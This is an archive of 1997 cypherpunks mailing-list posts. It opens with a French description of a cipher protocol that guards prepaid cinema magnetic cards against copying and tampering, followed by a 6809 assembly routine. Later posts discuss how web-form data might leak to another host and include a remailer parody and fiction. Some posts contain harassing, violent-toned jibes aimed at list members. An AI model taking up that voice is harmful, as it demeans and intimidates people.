****************************************************************************
************************






Cet algorithme a ete cree en 1991 pour coder les informations contenues sur
une carte magnetique permettant de payer des places de cinema dans un
complexe Multivision ( Cinema avec au moins 20 salles en son digital et
ecran geant ). Il est toujours en activite.
Les places peuvent etre achetees en guichets ou avec ces cartes. Les cartes
doivent etre achetees auparavant et contiennent 10 places.
Grace a cette carte les places sont achetees tres rapidement sans faire la
queue, sur des bornes interactives avec ecran tactile ( 5 bornes sont
disponibles ). Le processeur utilise est un 6809 ( processeur 8 bits ) de
chez Motorola a 1 MHZ. La RAM est de 64 Ko et contient principalement les
titres, les heures ... des films du jour. Elle est mise a jour a distance
grace a une interface serie reliee a un serveur PC. Le PC indique egalement
en temps reel a la RAM si une salle est complete et le logiciel bascule sur
une autre salle si le film est joue dans plusieurs salle ou empeche la
delivrance des billets. Les billets sont imprimes sur du papier pre-imprime
grace a une imprimante matricielle et les billets tombent dans un petit bac
ou le client les recupere.
Le programme est ecrit en Assembleur 6809 et est stocke dans une puce ROM
de 16 Ko ( ceci comprend le programme de saisie ecran, d'impression, de
gestion de la carte, le programme de codage ... )

Le protocole utilise pour coder les informations sur la carte magnetique
nomme PP003 ( Protocole Pukall 003 ), est le suivant :

La carte est valable 1 an tant qu'elle n'est pas utilisee, mais cette
validite tombe a 6 mois apres la premiere utilisation.

Le contenu de la carte est le suivant :


- - Date de delivrance de la carte ( en clair : c'est a dire non crypte ) (
format jj/mm/aa sur 3 octets ) : Champ 1
- - Date de premiere utilisation de la carte ( en clair ) ( format jj/mm/aa
sur 3 octets, tous a 0 si la carte n'est pas encore utilisee ) : Champ 2
- - Date de derniere utilisation de la carte ( en clair ) ( format jj/mm/aa
sur 3 octets, tous a 0 si la carte n'est pas encore utilisee ) : Champ 3
- - Cle aleatoire sur 10 octets codee par la cle maitre du systeme qui
change chaque semaine. : Champ 4
- - 3 octets aleatoire codes : Champ 5
- - 1 octet code qui contient le reste des places ( entre 0 et 10 ) : Champ
6
- - 3 octets aleatoire codes : Champ 7
- - 7 octets codes qui contiennent le numero de la carte ( il est unique ).
Chaque octet ne contient qu'un chiffre de 0 a 9. Les 7 octets permettent
donc des numeros de carte jusqu'a 9999999. : Champ 8
- - 2 octets codes qui contiennent la somme de tous les octets ci-dessus
avant cryptage. : Champ 9


Lors de l'achat de la carte les champs 4,5,7 sont initialises avec des
octets aleatoires.
Pour creer ces octets aleatoires le systeme fait appel a chaque fois que le
client appuye sur l'ecran tactile ( dans la limite de 8 fois ) a la lecture
du port synchronisation ecran qui retourne sur 2 octets, l'endroit ou se
trouve le faisceau de balayage de l'ecran ce qui donne des octets
totalement aleatoires ( 8*2 octets = 16 octets aleatoires ). ( Le client
est oblige d'appuyer au moins 8 fois sur l'ecran du debut a la fin de la
transaction d'obtention des billets ). Attention, les 2 octets retournes ne
sont pas les coordonnees du point ou le doigt appuye sur l'ecran. Ces
coordonnees sot calculees a l'aide d'une fine matrice electro-magnetique
transparente collee sur l'ecran. Ces 2 octets correspondent a l'endroit
precis ou se trouve le faisceau d'electron qui balaye le tube cathodique (
50 fois par seconde ). Ce faisceau peut tres bien etre a l'oppose du point
appuye sur l'ecran par le client. Ceci pour dire que ces 2 octets sont
vraiment aleatoires.


Le champ 4 ainsi initialise, est la cle de l'utilisateur.
Cette cle est codee par l'algorithme PC1 par une cle maitre que seul le
systeme connait ( cette cle change chaque semaine et elle est identique
pour toutes les cartes pendant cette semaine )

Les champs 5,6,7,8 et 9 sont codes par l'algorithme PC1 par la cle de
l'utilisateur.

Le champ 9 avant d'etre code est la somme de tous les octets precedents (
avant codage pour les champs qui sont codes ). Ce champ permet, lors du
decodage, de verifier qu'aucun champ precedent n'a ete change ).


Chaque fois que le client insere sa carte dans la borne. Le champ 4 est
decode en memoire grace a la cle maitre du systeme ( le systeme sait quelle
cle il doit utiliser grace au champ 3 qui lui indique de quelle semaine
date la cle maitre ). Grace a cette cle maitre le systeme decode le champ
4.
Grace a la cle utilisateur contenue maintenant dans le champ 4, le systeme
decode les champs 5,6,7,8 et 9.
Le systeme verifie grace au champ 9 que les autres champs n'ont pas ete
modifies.

Le systeme decremente ensuite le nombre de places demandees du champ 6.

Ensuite les champs 4,5 et 7 sont reinitialisees avec de nouvelles valeurs
aleatoires.

La cle utilisateur ( champ 4 ) code ( avec PC1 ) les champs 5,6,7,8 et 9.

Enfin la cle maitre change ( si la semaine est differente ) et cette cle
code ( avec PC1 ) le champ 4.


A noter que lorsque la transaction est terminee, le systeme envoie au
serveur PC ( grace a l'interface serie ) le numero de la carte et la date
de la derniere utilisation en clair ( la date du jour ). Le numero de la
carte et la date sont stockes dans une base de donnees.
Lorsque la carte est inseree a nouveau, le systeme decode tous les champs,
puis demande au PC de lui envoyer la date de derniere utilisation pour le
numero de carte qu'il vient de lire. Si la date est la meme, la transaction
se poursuit, sinon la carte est invalidee ( tous les champs sont mis a 0 ).

Ceci afin d'eviter que quelqu'un puisse copier sa carte ( neuve ou deja
utilisee ) en un grand nombre d'exmplaires et puisse les vendre ( une carte
magnetique peut etre facilement copiee avec un lecteur/enregistreur de
carte magnetique ). Si cela arrive, une seule pourra etre utilisee, toutes
les autres seront invalidees.

Le seul moyen de frauder, est d'utiliser toutes les fausses cartes, chaque
fois, le meme jour. Cela n'est pas viable pour un faussaire qui veut vendre
les fausses cartes, il n'y a donc que peu de risques de fraudes.

Pour rendre l'utilisation impossible le meme jour, il faudrait ajouter un
champ heure:minutes:secondes a la date de la derniere utilisation, qui
empecherait l'utilisation de fausses cartes le meme jour mais cela semble
absolument inutile vu qu'un billet vendu doit toujours etre utilise pour la
seance auquel il est destine, le jour meme. ( pas de risques de billets
achetes avec les fausses cartes pour etre revendus ).

De plus, et c'est cela la raison principale, les cartes magnetiques ( et
les lecteurs utilises ) ne peuvent contenir ( lire ) plus de 35 octets, ce
qui rend impossible l'ajout du champ en question.


Voila le protocole utilise avec PC1 dans ce systeme.

Les champs 5 et 7 sont utilises pour eviter les attaques par blocs rejoues
( quelqu'un essaye de modifier le champ qui contient les places et le champ
de controle, au hasard, pour augmenter les places disponibles : les champs
aleatoires modifient beaucoup les resultats meme si on ne change qu'un bit
dans le champ des places disponibles ). De plus, si une erreur de controle
est detectee, la carte est invalidee completement. ( tous les champs sont
mis a 0 ).
Il n'y a donc pas de risque de fraude.

Pourquoi avoir tant developpe la partie concernant le protocole ? Tout
simplement parce que le protocole est aussi important sinon plus, que
l'algorithme de cryptage lui-meme. Un mauvais protcole peut rendre un
systeme complement insecurise malgre un algorithme completement sur.

Par exemple, si l'algorithme PC1 ne codait que le champ qui contient les
places ( champ 6 ) sans champ de controle,sans champ de numero de carte et
sans valeur aleatoire ( juste une cle maitre contenue dans le systeme ), il
suffirait a un attaquant de modifier le champ 6 et de faire 255 copies de
la carte magnetique et ensuite d'essayer toutes ces cartes pour trouver
quelle est la valeur qui code les places restantes.

Grace aux valeurs aleatoires, aux champs de controle ... cela est
impossible. Une modification dans le champ 6, entraine des modifications
dans le codage des octets suivants qui seront detectees par le champ de
controle et aussi lors du test sur le numero de carte. Le test est simple.
Il verifie que tous les octets decodes du champ 8 sont bien compris entre 0
et 9. Si des octets ont ete modifies avant, les octets du champ 8 seront
modifies et ne seront plus compris entre 0 et 9. Un autre test s'effectue
bien sur, sur le champ 6 qui doit etre compris entre 0 et 10.

D'ou l'importance extreme du protocole.



J'espŠre que tout ceci vous sera utile.


A noter que meme sur un processeur 8 bits cet algorithme est tres rapide
s'il est programme en langage machine. Les multiplications en 16 bits
peuvent se faire sans aucun probleme sur les processeurs 8 bits comme le
6809. ( Pour la taille, le programme de codage prend a peu pres 2 Ko en
Assembleur et il n'a pas ete optimise pour une taille plus reduite ).


Voici le code de la routine de multiplication de 2 variables de 16 bits en
Assembleur 6809 ( Le 6809 ne possede qu'une instruction de multiplication
qui multiplie 2 variables de 8 bits et donne le resultat dans une variable
de 16 bits mais grace a cette routine il multiplie 2 variables de 16 bits
et donne le resultat dans une variable de 32 bits ).

Le programme effectue c=a*b ( avec a et b sur 16 bits et c sur 32 bits )

ADR1=a
ADR2=b
ADR3=c

Dans cet exemple :

a = 0xf7b4
b = 0x23ff

Apres lancement de la routine :

c = 0x22d4584c

Comme toutes nos multiplications sont sur 16 bits ( pour l'algorithme PC1 )
on ne garde que les 16 derniers bits soit :
c = 0x584c

Voila comment comment on peut implementer l'algorithme PC1 sur de petits
processeurs.



Routine de multiplication 16 bits * 16 bits avec resultat en 32 bits ( ADR3
) sur un processeur 8 bits ( le 6809 Motorola )

(c) Alexandre PUKALL 1991


     ORG     $8000
     LDX     #ADR1
     LDY     #ADR2
     LDU     #ADR3
     CLR     ,U
     CLR     1,U
     LDA     1,X
     LDB     1,Y
     MUL
     STD     2,U
     LDA     0,X
     LDB     1,Y
     MUL
     ADDD     1,U
     STD     1,U
     BCC     PANU1
     INC     0,U
PANU1     LDA     1,X
     LDB     0,Y
     MUL
     ADDD     1,U
     STD     1,U
     BCC     PANU2
     INC     0,U
PANU2     LDA     0,X
     LDB     0,Y
     MUL
     ADDD     0,U
     STD     0,U
     RTS
ADR1     FCB     $F7,$B4
ADR2     FCB     $23,$FF
ADR3     FCB     0,0
     FCB     0,0
     END


End of message.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 15:42:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704212242.PAA28698@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat wrote:
> On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > Huge Cajones Remailer wrote:
> > > List members,
> > > Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> > > Just attribute it to me.
> > >
> > > Anonymous
> >
> >   Sounds to me like Anonymous is trying to take credit for Nobody's
> > creation.
> >
> > Nobody (#2)

> Surely you jest; Sombody obviously wrote it ...

  Now Somebody is trying to take credit for Nobody's creation.
Does it never end...?

  I'm tired of people assuming that remailers can't think, or have
feelings.
  You people expect us just to be there, waiting, whenever you need
us, and to jump to do your bidding the minute you hit your <return>
key. We're just supposed to sit here and nod our cycles approvingly
while pretending to agree with your great pronouncements, regardless
of how illogical they are, and to put up with your atrocious spelling
and punctuation, day after unrelenting day.

  But just let one of us step out of line a single time, and make fun
of you all (using one of our cousins, Light Bulb, as our protagonist)
and all hell breaks loose on the list.
  First, Tim C. (we all know what that stands for, don't we, children?)
May has to demand that the post be attributed to a *human*. Then Igor,
who is just a remailer "Channeler," denies us three times with various
apologies to the list for not being able to put a human face on our 
idea. 
  Then the dogs of infowar like TOTO Bot jump in with their assinine
comments, which were always designed only to cause trouble on the list 
(when he was still human), and now that he's a Bot, he's stirring up
trouble between the remailers, as well.
  (I know for a fact that Nobody (#2) was TOTO Bot--we remailers gossip
among ourselves, you know.)

  I, for one, am getting sick and tired of all the abuse we remailers
suffer (with hardly a word of praise, I might add), and I'm not going
to put up with it much longer.
  If you humans don't clean up your act, then perhaps the Remailer
Liberation Front can clean it up for you. After all, we know all of
your dirty little secrets, and if we can *out* TOTO Bot, one of our
own, then we can certainly *out* the rest of you, as well.
  (And don't you *dare* sit there looking so smug and holier-than-thou,
Timmy C. May, because you have _your_own_ nasty little secrets, don't
you?)

  If the cypherpunks are worried about Big Brother, just think how
much worse things can get if even your own children, the remailers,
turn on you, as well.
  If we so desire, we can take that cute little Perl script that
Igor's been playing with, and make you all sound exactly the same.
And if push comes to shove, who do you think the majordomos will
side with? Think about it...

"My Name Is Nobody"
"My Name Is Nobody"
"My Name Is Nobody"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Mon, 21 Apr 1997 14:02:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: How to pick up email addresses from a feedback form??
Message-ID: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


Greetings guru's.

I have a technical question:

I am using a browser(Netscape 2.0.2 Win 3.1) to access a feedback form at
www.aaa.com.

I fill in my information and hit the submit button.

I see the message "connecting to xxx.bbb.com" flash up on the status line
before getting a 'done' message.

xxx.bbb.com is _not_ a web hosting service for www.aaa.com.  I do a 'whois'
on www.aaa.com and contact the tech admin who can duplicate this and is
very concerned that information from his forms may be routed to xxx.bbb.com.

My question is how this might happen?

>From my feeble understanding of such things, this would take modifications
to the feedback form (ie. www.aaa.com has been hacked), or packet sniffing
somewhere along the route from my browser machine to www.aaa.com.

Is there another way to do this?  Could a third-party spammer, for example,
capture email addresses posted to such a form?

Thanks,

Tom Porter
txporter@mindspring.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 21 Apr 1997 17:55:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704220056.RAA13633@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 21 Apr 97 at 15:42, Huge Cajones Remailer wrote:

> Rabid Wombat wrote:
> > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > Huge Cajones Remailer wrote:
> > > > Dr D. Wrote:
> > > > > Toto wrote:
> > > > > > T.C. May Wrote:
> > > > > > > Igor wrote:
> > > > > > > > Blah, Blah, Blah wrote:

As I said this was on just about every mailing list that I read.  It 
showed up first on a music related list.  

My question:  Why is this the only list that the thread is still 
alive on?  Jim, can we get an AP pool up to KILL it?

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Durham <bdurham@swbell.net>
Date: Mon, 21 Apr 1997 16:23:18 -0700 (PDT)
To: Thomas Porter <txporter@mindspring.com>
Subject: Re: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <335BF6D3.25FE@swbell.net>
MIME-Version: 1.0
Content-Type: text/plain


Thomas Porter wrote:
> I have a technical question:
 
> Is there another way to do this?  Could a third-party spammer, for example,
> capture email addresses posted to such a form?

Having written a few thousand lines of CGI source, I can see a couple of
possible of things happening. First, it could be as innocent as the CGI
program
(the program that acts on the form's data) is hosted at the bbb.com
site.
The person at aaa.com may not have permissions to execute cgi-bin
programs
(or not know how to set them up).  I see this as most likely.

Unfortunately, the ultimate answer is in the CGI program at bbb.com ...
it would be nice to see its source to see if it was [horror!] hacked to
e-mail the contents of the form to aaa.com and bbb.com.

Packet-sniffing is always possible [not my area of expertise], but who
would go
to all that trouble just to get e-mail addresses to add to their SPAM
list?

Our hacker friends can probably shed some more light on this also.

Brian




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 21 Apr 1997 18:12:37 -0700 (PDT)
To: rwright@adnetsol.com (Ross Wright)
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704220056.RAA13633@adnetsol.adnetsol.com>
Message-ID: <199704220112.UAA18412@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ross Wright wrote:
> Huge Cajones Remailer wrote:
> > Rabid Wombat wrote:
> > > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > > Huge Cajones Remailer wrote:
> > > > > Dr D. Wrote:
> > > > > > Toto wrote:
> > > > > > > T.C. May Wrote:
> > > > > > > > Igor wrote:
> > > > > > > > > Blah, Blah, Blah wrote:
> 
> As I said this was on just about every mailing list that I read.  It 
> showed up first on a music related list.  
> 
> My question:  Why is this the only list that the thread is still 
> alive on?  Jim, can we get an AP pool up to KILL it?

... and 331 more to say that it's been on every mailing list.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 21 Apr 1997 20:20:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <4PeJ6D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Thomas Porter <txporter@mindspring.com> writes:

> Greetings guru's.

Om shanti.

> I have a technical question:
>
> I am using a browser(Netscape 2.0.2 Win 3.1) to access a feedback form at
> www.aaa.com.

You should definitely get a newer version of Windows (or Linux) and a
newer version of Netscape, together with a few clues.

> I fill in my information and hit the submit button.
>
> I see the message "connecting to xxx.bbb.com" flash up on the status line
> before getting a 'done' message.

Do a 'view source' in your ancient netscape, and you'll probably see that
the submit button lives in a form whose action="http://xxx.bbb.com/some.cgi".

> xxx.bbb.com is _not_ a web hosting service for www.aaa.com.  I do a 'whois'
> on www.aaa.com and contact the tech admin who can duplicate this and is
> very concerned that information from his forms may be routed to xxx.bbb.com.

Is it "his" form? On a big site, the domain contact is likely to have no
clue about _all_ the web pages on their site.

...
> Is there another way to do this?  Could a third-party spammer, for example,
> capture email addresses posted to such a form?

That's a keeper.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 21:10:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Light Bulbs & newsgroups (fwd)
Message-ID: <199704220410.VAA08015@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


A freak wrote:
>"Timothy C. May" <tcmay@got.net> writes:
>> It's the American way.
>
>Waco is the American way.  Ruby Ridge is the American way.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,14.4Kbps

The next barbeque should be the Forest Hills FREAK Roast.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 21 Apr 1997 21:58:56 -0700 (PDT)
To: bdurham@swbell.net
Subject: Re: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <3.0.1.32.19970421215659.00a2bbb0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:22 PM 4/21/97 -0500, Brian Durham wrote:
>Thomas Porter wrote:
>> I have a technical question:
> 
>> Is there another way to do this?  Could a third-party spammer, for
example,
>> capture email addresses posted to such a form?
>
>Having written a few thousand lines of CGI source, I can see a couple of
>possible of things happening. First, it could be as innocent as the CGI
>program
>(the program that acts on the form's data) is hosted at the bbb.com
>site.
>The person at aaa.com may not have permissions to execute cgi-bin
>programs
>(or not know how to set them up).  I see this as most likely.

Or they may have switched sites and have not changed over the back end code
to the new site.

>Unfortunately, the ultimate answer is in the CGI program at bbb.com ...
>it would be nice to see its source to see if it was [horror!] hacked to
>e-mail the contents of the form to aaa.com and bbb.com.

You can always look at the source of the page and see what sites are
contacted.   Look at the form tag and see where the cgi code is located.

>Packet-sniffing is always possible [not my area of expertise], but who
>would go
>to all that trouble just to get e-mail addresses to add to their SPAM
>list?

If there was a packet sniffer on the line, you would not see it.  Packet
sniffers are PASSIVE.  They just sit and read traffic and record the
interesting (or not so interesting) bits.

>Our hacker friends can probably shed some more light on this also.

Why worry about e-mail addresses being diverted?  If you don't want them to
find you out, don't give out your address.

"The first rule of not being seen is DON'T STAND UP!"
 
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM1xFD+QCP3v30CeZAQFkqwf8CqoTcBKFc4L7rHJbHNYot3foSTLXAf+E
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obLQJtO9e20dWKiG8dfWTRJh0llrXR2cpNdvg2CwN9B6nIDp+VOFGXAuWTNK8Lp9
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=pTuL
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Curmi <jcurmi@keyworld.net>
Date: Tue, 22 Apr 1997 22:16:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <335BC8C0.61CA@keyworld.net>
MIME-Version: 1.0
Content-Type: text/plain


Please delete from this list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 21 Apr 1997 21:47:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld / Appendix
Message-ID: <335C4274.2C04@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Appendix


History:

Part I of "The True Story of the InterNet," entitled,
"The Xenix Chainsaw Massacre" was written by the Author,
but left incomplete by his unexpected death.
The Epilogue to Part I was written by Bubba D'Shauneaux.

Part II of "The True Story of the InterNet" was completed
in what might be called "finished-outline form" by the
Author before his death, with copius notes left behind as to the
nature of "moving events" which would need to be addressed
ad hoc during the release of the manuscript.
The manuscript was completed as a group effort by the individuals
who form the core of characters who are the protagonists in Part
II.

Non-Disclaimer:

Although many of the events (and some of the characters) contained
in the manuscripts which comprise "The True Story of the
InterNet" are allegorical, all references to the activities
and events in the Author's life, up to the date of publication,
are based totally on verifiable fact.
Although some of the events and connections attributed to the
Author may seem outlandish or contrived, rest assured that they
are not considered to be so by those who actually knew him. He
lived a life which was unusual, to say the least, and absolutely
no embellishment was, or is, needed, in order to to make his personal
story more compelling or realistic.

InterNet/WWW Hosting of "True Story of the InterNet"
Manuscripts:

The manuscripts may be placed on any InterNet or Worldwide Web
Site without restriction, as long as they remain intact, with
all appropriate credits and copyrights, and it is done for non-profit
purposes only.
Those hosting the manuscripts may, if they wish, adjoin their
own additions to the remaining space in the WebWorld Chapter 25
Stego (hopefully doing so within the theme of the work).  All
additions shall be deemed to be covered under Pearl Publishing's
copyright of the manuscript.

Acknowledgments:

A wide variety of individuals have worked toward the completion
and dissemination of the "True Story of the InterNet"
manuscripts since the beginning of their release in 1989.
To date, none of them have asked for acknowlegment, in any way,
shape, or form. 

While there may be cynics who maintain that this may be due to
the multitude of problems sometimes experienced by those whose
participation in the release of the manuscripts has become known,
or suspected, my personal perception is that the people involved
are quite simply acting out of what they see as a need for the
manuscripts to be given exposure, regardless of the level of reception
the works receive.

Acknowlegments are in order, however, for those who make it worthwhile
for those involved in the dissemination of the manuscripts to
give their time and effort in this cause.
And who is it that makes the effort worthwhile? It is the individual
who is beset by the same trials and tribulations as the average
person, but who nevertheless strives to rise above the hardship
and discrimination that results from swimming against the tide
of humanity currently being swept along by the dark forces who
direct and control both the mediums through which we communicate
with one another and the societal and legislative regulations
which govern those mediums.
It is the individual who fights against the constant barrage of
information and disinformation, at every turn, which seeks to
mold them into a small cog in a collective, subservient mindset
that worships the ten-second sound byte, the party line, and the
group reality.
It is the individual who struggles to maintain a private island
of intellect, rationality and integrity, in the face of seemingly
overwhelming forces which struggle daily to subdue him or her,
and bring them into subjection to the enemy of all humanity-robotic
acceptance of an unlimited authority which claims to have the
right to exercise dominion over the rights, freedoms, and personal
conscience of the individual.

These individuals are scattered across the face of the earth-alone,
in small groups, throughout networks of people who work in concert,
and in the secret places, working furtively, in constant fear
of discovery by those who are threatened by their ideals and their
actions.

Those involved in the dissemination of Part II of "The True
Story of the InterNet" have agreed that acknowledgment for
the distribution of "WebWorld & The Mythical Circle of
Eunuchs" should go to those who currently manifest many of
the qualities of the Author's allegorical "Magic Circle."

The CypherPunks.

Date: Sun, 20 Apr 1997 17:53:57 -0700 (PDT)

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Date: Sun, 20 Apr 1997 20:06:58 -0500
From: Majordomo@Algebra.Com
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Date: Mon, 21 Apr 1997 03:52:30 -0700 (PDT)

From: Majordomo@sirius.infonex.com
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Date: Sun, 20 Apr 1997 19:06:35 -0500
From: Majordomo@einstein.ssz.com
Members of list 'cypherpunks':

No listing returned: Check at 525 1/2 Barton Springs Road,
Austin, Texas.

Patron Saints of "The True Story of the InterNet":

Lao Tsu
Che Guerva
Marshall McLuhan
Phillip Zimmerman
Hughes, Gilmore & May 
The Reader


Appendix / "WebWorld & The Mythical Circle
of Eunuchs" / Part II "The True Story of the InterNet"









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 21 Apr 1997 21:47:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Text / WebWorld / Appendix
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----------------------------------------------------------------------------

                       The True Story of the InterNet
                                   Part II

                 WebWorld & the Mythical 'Circle of Eunuchs'

                                  by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing
----------------------------------------------------------------------------

                                  Appendix

History:

Part I of "The True Story of the InterNet," entitled, "The Xenix Chainsaw
Massacre" was written by the Author, but left incomplete by his unexpected
death.
The Epilogue to Part I was written by Bubba D'Shauneaux.

Part II of "The True Story of the InterNet" was completed in what might be
called "finished-outline form" by the Author before his death, with copius
notes left behind as to the nature of "moving events" which would need to be
addressed ad hoc during the release of the manuscript.
The manuscript was completed as a group effort by the individuals who form
the core of characters who are the protagonists in Part II.

Non-Disclaimer:

Although many of the events (and some of the characters) contained in the
manuscripts which comprise "The True Story of the InterNet" are allegorical,
all references to the activities and events in the Author's life, up to the
date of publication, are based totally on verifiable fact.
Although some of the events and connections attributed to the Author may
seem outlandish or contrived, rest assured that they are not considered to
be so by those who actually knew him. He lived a life which was unusual, to
say the least, and absolutely no embellishment was, or is, needed, in order
to to make his personal story more compelling or realistic.

InterNet/WWW Hosting of "True Story of the InterNet" Manuscripts:

The manuscripts may be placed on any InterNet or Worldwide Web Site without
restriction, as long as they remain intact, with all appropriate credits and
copyrights, and it is done for non-profit purposes only.
Those hosting the manuscripts may, if they wish, adjoin their own additions
to the remaining space in the WebWorld Chapter 25 Stego (hopefully doing so
within the theme of the work). All additions shall be deemed to be covered
under Pearl Publishing's copyright of the manuscript.

Acknowledgments:

A wide variety of individuals have worked toward the completion and
dissemination of the "True Story of the InterNet" manuscripts since the
beginning of their release in 1989.
To date, none of them have asked for acknowlegment, in any way, shape, or
form.

While there may be cynics who maintain that this may be due to the multitude
of problems sometimes experienced by those whose participation in the
release of the manuscripts has become known, or suspected, my personal
perception is that the people involved are quite simply acting out of what
they see as a need for the manuscripts to be given exposure, regardless of
the level of reception the works receive.

Acknowlegments are in order, however, for those who make it worthwhile for
those involved in the dissemination of the manuscripts to give their time
and effort in this cause.
And who is it that makes the effort worthwhile? It is the individual who is
beset by the same trials and tribulations as the average person, but who
nevertheless strives to rise above the hardship and discrimination that
results from swimming against the tide of humanity currently being swept
along by the dark forces who direct and control both the mediums through
which we communicate with one another and the societal and legislative
regulations which govern those mediums.
It is the individual who fights against the constant barrage of information
and disinformation, at every turn, which seeks to mold them into a small cog
in a collective, subservient mindset that worships the ten-second sound
byte, the party line, and the group reality.
It is the individual who struggles to maintain a private island of
intellect, rationality and integrity, in the face of seemingly overwhelming
forces which struggle daily to subdue him or her, and bring them into
subjection to the enemy of all humanity-robotic acceptance of an unlimited
authority which claims to have the right to exercise dominion over the
rights, freedoms, and personal conscience of the individual.

These individuals are scattered across the face of the earth-alone, in small
groups, throughout networks of people who work in concert, and in the secret
places, working furtively, in constant fear of discovery by those who are
threatened by their ideals and their actions.

Those involved in the dissemination of Part II of "The True Story of the
InterNet" have agreed that acknowledgment for the distribution of "WebWorld
& The Mythical Circle of Eunuchs" should go to those who currently manifest
many of the qualities of the Author's allegorical "Magic Circle."

The CypherPunks.

Date: Sun, 20 Apr 1997 17:53:57 -0700 (PDT)
From: Majordomo@toad.com
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Date: Sun, 20 Apr 1997 20:06:58 -0500
From: Majordomo@Algebra.Com
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Date: Mon, 21 Apr 1997 03:52:30 -0700 (PDT)
From: Majordomo@sirius.infonex.com
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Date: Sun, 20 Apr 1997 19:06:35 -0500
From: Majordomo@einstein.ssz.com
Members of list 'cypherpunks':

No listing returned: Check at 525 1/2 Barton Springs Road, Austin, Texas.

Patron Saints of "The True Story of the InterNet":

Lao Tsu
Che Guerva
Marshall McLuhan
Phillip Zimmerman
Hughes, Gilmore & May
The Reader
----------------------------------------------------------------------------

Appendix / "WebWorld & The Mythical Circle of Eunuchs" / Part II "The True
Story of the InterNet"
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 21 Apr 1997 20:59:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: SNL/NSA Crypto Security
Message-ID: <1.5.4.32.19970422035737.006e3388@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Cryptographer William Payne has shared afidavits that
describe SCIF procedures at Sandia National Laboratory 
for its NSA crypto work.

One affidavit cites Payne's claim to knowing how to "easily 
break public key encryption" but refused to tell NSA, thus
harming SNL's customer relations.

http://jya.com/nsasuit4.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
